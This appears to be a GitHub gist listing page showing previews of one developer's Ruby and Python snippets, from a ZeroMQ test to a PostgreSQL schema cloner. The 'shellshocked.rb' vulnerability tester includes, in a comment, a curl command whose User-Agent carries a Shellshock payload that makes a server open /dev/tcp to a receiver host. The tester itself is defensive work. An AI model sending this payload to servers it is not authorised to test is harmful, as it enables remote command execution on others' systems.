Skip to content

Instantly share code, notes, and snippets.

@rabbitt
rabbitt / zeromq-client-drop-reconnect-test.rb
Created January 23, 2012 03:34
Simulates a client drop and reconnect during REQ/REP send/receive
#!/usr/bin/env ruby
require 'ffi-rzmq'
require 'timeout'
ctx = ZMQ::Context.new
MAX_RETRIES = 5
Thread.abort_on_exception = true
#!/usr/bin/ruby
# dependencies:
# gem install sinatra
# gem install mechanize
#
# to run:
# from command line type: ruby substitutions.rb &
# and in your browser, go to: localhost:4567/http://some.random.site.com/
@rabbitt
rabbitt / gist:9426020
Created March 8, 2014 05:57
testing command execution ideas
require 'open3'
require 'pp'
require 'eventr'
require 'stringio'
$eventr = Eventr::Coordinator.instance
$eventr.publishers(:stderr, :stdout)
$eventr.consumer(:stderr) { |msg| $stderr.puts "STDERR: #{msg}" }
$eventr.consumer(:stdout) { |msg| $stdout.puts "STDOUT: #{msg}" }
$eventr.start
@rabbitt
rabbitt / player.rb
Last active April 16, 2016 02:41
interactive rubywarrior
require 'readline'
require 'terminfo'
require 'abbrev'
require 'singleton'
$stty_save = %x{stty -g}.chomp
Signal.trap('WINCH', ->(*a) { Readline.set_screen_size(TermInfo.screen_size[0], TermInfo.screen_size[1]) })
Signal.trap('INT', ->(*a) { system('stty', $stty_save); exit! })
Signal.trap('QUIT', ->(*a) { system('stty', $stty_save); exit! })
@rabbitt
rabbitt / gist:9766845
Created March 25, 2014 17:26
torquebox run failure
$ torquebox run --clustered -b 0.0.0.0
[WARNING] root-knob.yml has not been deployed. Starting TorqueBox anyway.
Booting AS7 from configuration /usr/local/lib64/jruby/ruby/gems/shared/gems/torquebox-server-3.0.2-java/jboss/standalone/configuration/standalone-ha.xml
/usr/local/lib64/jruby/ruby/gems/shared/gems/torquebox-server-3.0.2-java/jboss/bin/standalone.sh -Djruby.home=/usr/local --server-config=standalone-ha.xml -b 0.0.0.0
JAVA_OPTS already set in environment; overriding default settings with values: -Xms64m -Xmx512m -XX:MaxPermSize=256m -Djava.net.preferIPv4Stack=true -Djboss.modules.system.pkgs=org.jboss.byteman -Djava.awt.headless=true
=========================================================================
JBoss Bootstrap Environment
JBOSS_HOME: /usr/local/lib64/jruby/ruby/gems/shared/gems/torquebox-server-3.0.2-java/jboss
@rabbitt
rabbitt / substitutions.rb
Created March 27, 2014 14:28
substitutions a la xkcd: https://xkcd.com/1288/
#!/usr/bin/ruby
# dependencies:
# gem install sinatra
# gem install mechanize
#
# to run:
# from command line type: ruby substitutions.rb &
# and in your browser, go to: localhost:4567/http://some.random.site.com/
@rabbitt
rabbitt / .irbrc
Last active August 29, 2015 14:03
# sublime: x_syntax Packages/Ruby/Ruby.tmLanguage
# sublime: translate_tabs_to_spaces false; tab_size 2
IRB.conf[:IGNORE_SIGINT] = true
IRB.conf[:USE_READLINE] = true
IRB.conf[:PROMPT_MODE] = :CLASSIC
def inject_path(path, where = :before)
require 'pathname'
path = Pathname.new(path).realpath.to_s
@rabbitt
rabbitt / shellshocked.rb
Last active October 13, 2017 17:33
Shellshock Remote Server Vulnerability Tester
#!/usr/bin/env ruby
=begin
This is equivalent to running the following from the command line:
curl -H 'User-Agent: () { :; }; exec 3<>/dev/tcp/www.receiver-host.com/80; echo -e "GET / HTTP/1.0\nHost: www.receiver-host.com\nUser-Agent: shellshock\nReferer: vulnerable\n\n" >&3; cat <&3' https://some.host.that.might.be.vulnerable.com -o/dev/null -s
To use this, do the following:
1. log into a webserver you control and have access to the access logs of, say: www.foo.com
@rabbitt
rabbitt / schema_clone.py
Last active October 8, 2020 12:56
PostgreSQL schema cloner (including data).
import psycopg2 as pg
from io import BytesIO
from collections import defaultdict
from contextlib import contextmanager
from psycopg2.extensions import ISOLATION_LEVEL_AUTOCOMMIT, ISOLATION_LEVEL_READ_COMMITTED
READ_COMMIT = ISOLATION_LEVEL_READ_COMMITTED
AUTO_COMMIT = ISOLATION_LEVEL_AUTOCOMMIT
OS Version:
CentOS release 6.5 (Final)
GLIBC RPMS:
glibc-headers-2.12-1.149.el6_6.4.x86_64
glibc-2.12-1.149.el6_6.4.x86_64
glibc-devel-2.12-1.149.el6_6.4.x86_64
glibc-common-2.12-1.149.el6_6.4.x86_64
Ghost Checker: